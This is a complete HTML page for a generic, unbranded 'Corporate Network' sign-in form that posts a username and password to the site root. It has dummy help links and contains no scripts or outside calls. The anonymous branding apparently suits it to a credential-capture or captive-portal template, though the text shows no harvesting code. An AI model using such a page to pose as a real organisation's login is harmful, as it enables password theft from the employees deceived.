<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Corporate Sign In</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,sans-serif;background:#f0f2f5;display:flex;justify-content:center;align-items:center;min-height:100vh;color:#1d1d1f}
.login-container{background:#fff;border-radius:12px;box-shadow:0 2px 20px rgba(0,0,0,.08);padding:48px 40px;width:100%;max-width:420px}
.logo{text-align:center;margin-bottom:32px}
.logo .icon{width:48px;height:48px;background:#0066cc;border-radius:10px;display:inline-flex;align-items:center;justify-content:center;margin-bottom:12px}
.logo .icon svg{width:28px;height:28px;fill:#fff}
.logo h1{font-size:22px;font-weight:600;color:#1d1d1f}
.logo p{font-size:14px;color:#6e6e73;margin-top:4px}
.form-group{margin-bottom:20px}
.form-group label{display:block;font-size:13px;font-weight:500;color:#1d1d1f;margin-bottom:6px}
.form-group input{width:100%;padding:12px 16px;border:1px solid #d2d2d7;border-radius:8px;font-size:15px;transition:border-color .2s;outline:none;background:#fafafa}
.form-group input:focus{border-color:#0066cc;background:#fff;box-shadow:0 0 0 3px rgba(0,102,204,.1)}
.form-group input::placeholder{color:#aeaeb2}
.btn-login{width:100%;padding:13px;background:#0066cc;color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:600;cursor:pointer;transition:background .2s}
.btn-login:hover{background:#0055b3}
.btn-login:active{background:#004499}
.help-links{text-align:center;margin-top:24px}
.help-links a{font-size:13px;color:#0066cc;text-decoration:none;margin:0 8px}
.help-links a:hover{text-decoration:underline}
.footer{text-align:center;margin-top:32px;font-size:11px;color:#aeaeb2}
.error-msg{display:none;background:#fef0f0;border:1px solid #fbc4c4;color:#c62828;padding:10px 14px;border-radius:8px;font-size:13px;margin-bottom:16px}
</style>
</head>
<body>
<div class="login-container">
<div class="logo">
<div class="icon"><svg viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 15l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8l-9 9z"/></svg></div>
<h1>Corporate Network</h1>
<p>Sign in with your organization account</p>
</div>
<div class="error-msg" id="error">Invalid credentials. Please try again.</div>
<form method="POST" action="/">
<div class="form-group">
<label for="username">Email or Username</label>
<input type="text" id="username" name="username" placeholder="user@company.com" required autocomplete="username" autofocus>
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" id="password" name="password" placeholder="Enter your password" required autocomplete="current-password">
</div>
<button type="submit" class="btn-login">Sign In</button>
</form>
<div class="help-links">
<a href="#">Forgot password?</a>
<a href="#">Request access</a>
</div>
<div class="footer">&copy; 2024 Corporate IT Services. Authorized use only.</div>
</div>
</body>
</html>
